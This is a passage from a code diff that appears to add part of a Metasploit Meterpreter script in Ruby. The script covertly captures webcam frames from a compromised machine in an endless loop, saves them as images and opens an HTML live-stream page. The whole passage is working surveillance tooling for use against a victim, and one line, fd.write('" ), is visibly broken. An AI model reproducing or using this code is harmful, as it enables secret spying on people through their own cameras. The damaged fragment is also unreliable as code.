+ fd.write( data ) + end + path = ::File.expand_path( imagepath ) + print_line( "[*] Image saved to : #{path}" ) + Rex::Compat.open_file( path ) + end + else + ::File.open(htmlpath, 'wb' ) do |fd| + fd.write('" ) + end + print_line( "[*] View live stream at: #{htmlpath}" ) + Rex::Compat.open_file(htmlpath) + print_line( "[*] Image saved to : #{imagepath}" ) + while true do + data = client.webcam.webcam_get_frame(quality) + if( data ) + ::File.open( imagepath, 'wb' ) do |fd| + fd.write( data ) + end + end + select(nil, nil, nil, interval/1000.0) + end + end + rescue ::Exception => e + print_error("Error getting frame: #{e.class} #{e} #{e.backtrace}") + end + print_line("[*] Stopping webcam") + client.webcam.webcam_stop +rescue ::Exception => e + print_error("Error: #{e.class} #{e} #{e.backtrace}") +end